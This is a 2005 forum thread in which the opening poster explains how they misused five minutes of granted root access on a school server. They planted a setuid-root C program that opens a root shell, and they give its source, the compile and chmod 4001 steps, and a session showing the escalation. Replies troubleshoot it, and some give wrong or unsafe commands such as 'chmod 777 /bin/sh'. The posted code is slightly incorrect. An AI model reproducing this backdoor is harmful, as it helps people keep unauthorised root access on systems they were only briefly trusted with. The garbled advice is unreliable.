Forums: Making A Dangerus File For Linux Systems. - Forums

Jump to content

Page 1 of 1
  • You cannot start a new topic
  • You cannot reply to this topic

Making A Dangerus File For Linux Systems. Abusing S permission with a simple C program.

#1 User is offline   MAGMAG 

  • Private First Class
  • Icon
  • Group: Members
  • Posts: 32
  • Joined: 06-September 04

Posted 28 October 2005 - 09:34 AM

hi :)

When I was learning linux in our ins, our teacher gave us root access only for 5 minutes so we can get familiar with webmin.

Then what i did?

:D instead of using webmin, i made a telnet session with our server and became root. then i made a simple file and after that each time i wanted to became root i just executed that simple program.


What was the program?

well as u know, a file with S permission, can get root access just when it want to. it means that if in our program somehow we tell the OS to give us root access, it'll give us.

How to get root access in our program?

well as u know (or don't :D) there is a syscall named setreuid. this syscall, requests system to change the program's privilage.
well, using this syscall, our S-permission program can get root access and after that if we run any command in our program, it is executed as root.

reading the manual page of this function and the function execve can give us a good knowledge.
man 2 setreuid
man 2 execve

so the complete source of our prog will be something like this:

int main()
{
char *path[2];

path[0]="/bin/sh";
path[1]=0;
setreuid(0);
execve(path[0],path,0);
exit(0);
}

compiling this code with gcc:
gcc -o shell ./shell.c
copying our executable file to our home directory:
cp ./shell /home/mohammad
and then giving the S permission to our file (and the execution permission for everyone).
chmod 4001 /home/mohammad/shell

pay attention to copy the executable file before giving it the S permission. because the s permission will cancel during copy.

and now we have an executable file that each time we run it, we'll get a root shell :D

[mohammad@localhost mohammad]$ whoami
mohammad
[mohammad@localhost mohammad]$ ./shell
sh-2.05b# whoami
root
sh-2.05b# exit
exit
[mohammad@localhost mohammad]$

we used /bin/sh because use of it in function is more simple than bash or csh or ...

bye for now ;)
0

#2 User is offline   toe 

  • Staff Sergeant
  • Icon
  • Group: Members
  • Posts: 271
  • Joined: 10-November 04

Posted 30 October 2005 - 01:25 AM

sometimes the simplest thing works the best. very usefull.

-toe
0

#3 User is offline   contrabanda 

  • Private
  • Icon
  • Group: Members
  • Posts: 5
  • Joined: 30-October 05

Posted 31 October 2005 - 12:14 AM

Well,
I made all steps as you described here.
but when i'm trying to execute this prog i got error:

[contrabanda@GRT contrabanda]$ ./shell
-bash: ./shell: Permission denied
[contrabanda@GRT contrabanda]$

Can you explain, why i have such error?
0

#4 User is offline   belgther 

  • Master Sergeant
  • Icon
  • Group: Specialist
  • Posts: 650
  • Joined: 06-October 04

Posted 31 October 2005 - 01:13 AM

View Postcontrabanda, on Oct 31 2005, 09:14 AM, said:

Well,
I made all steps as you described here.
but when i'm trying to execute this prog i got error:

[contrabanda@GRT contrabanda]$ ./shell
-bash: ./shell: Permission denied
[contrabanda@GRT contrabanda]$

Can you explain, why i have such error?


type chmod -a 777 ./shell and try again. With that, you set the permissions.
"The wisest one is the one who knows himself/herself." Quote of the life
belgther... aka... belgther
0

#5 User is offline   contrabanda 

  • Private
  • Icon
  • Group: Members
  • Posts: 5
  • Joined: 30-October 05

Posted 31 October 2005 - 01:27 AM

Quote

type chmod -a 777 ./shell and try again. With that, you set the permissions.


i made this command

chmod 4001 /home/contrabanda/shell
0

#6 User is offline   Pro21 

  • Sergeant
  • Icon
  • Group: Members
  • Posts: 230
  • Joined: 12-February 04

Posted 31 October 2005 - 04:42 AM

View Postbelgther, on Oct 31 2005, 10:13 AM, said:

type chmod -a 777 ./shell and try again. With that, you set the permissions.


-a take away permissions will not work

chmod s+x ./shell maybe it s better i don t test it

s user or group set-ID
x execute permission

already why compile with ./shell name ?? useless
It s better to give a normal name like shell and to execute type ./shell ...
So if i ve the time i will test this peace of code :)

but what represent chmod 4001 ? i always used 0****but never 4***
So if someone has a response thx
0

#7 User is offline   MAGMAG 

  • Private First Class
  • Icon
  • Group: Members
  • Posts: 32
  • Joined: 06-September 04

Posted 31 October 2005 - 06:59 AM

hi :)

if u r running this on your own machine and u get this error it might be because u don't have the permission to execute /bin/sh.
do this:
chmod 777 /bin/sh
or use another shell except "sh". but in that case u may have to pass some Environment variables to your shell. and it 'll become more complicated.

I don't have an exact idea why you get that error. normally every1 has the permission to run /bin/sh

or maybe some restrictions more than usual (using PAM, *deny* in /etc, /etc/security,....).

if u found out why u get this error, plz tell us. ;)

and about changing the permission:
I don't think it has much difference whitch way u change the permission. what i did was giving the least enough permission to our file (only S permission and execution permission for any1).
4000 stands for S permission and 1 is execution permission for every one (other).

bye for now ;)
0

#8 User is offline   roto 

  • Private First Class
  • Icon
  • Group: Members
  • Posts: 31
  • Joined: 29-November 03

Posted 03 December 2005 - 08:18 AM

i had to chown root:root the bin then chmod 4001 the file for this to work, i bet you guys had the same mistake, making the fileas a normal user :)

roto@hollywood ~/code/linux $ gcc regetroot.c -o reget
roto@hollywood ~/code/linux $ su
Password:
hollywood linux # chown root:root reget
hollywood linux # chmod 4001 reget
hollywood linux # exit
exit
roto@hollywood ~/code/linux $ ./reget
sh-3.00# whoami
root
sh-3.00#
0

Page 1 of 1
  • You cannot start a new topic
  • You cannot reply to this topic

1 User(s) are reading this topic
0 members, 1 guests, 0 anonymous users

  • Share



Our Sponsors:


SwiftLayer Affiliate Web Hosting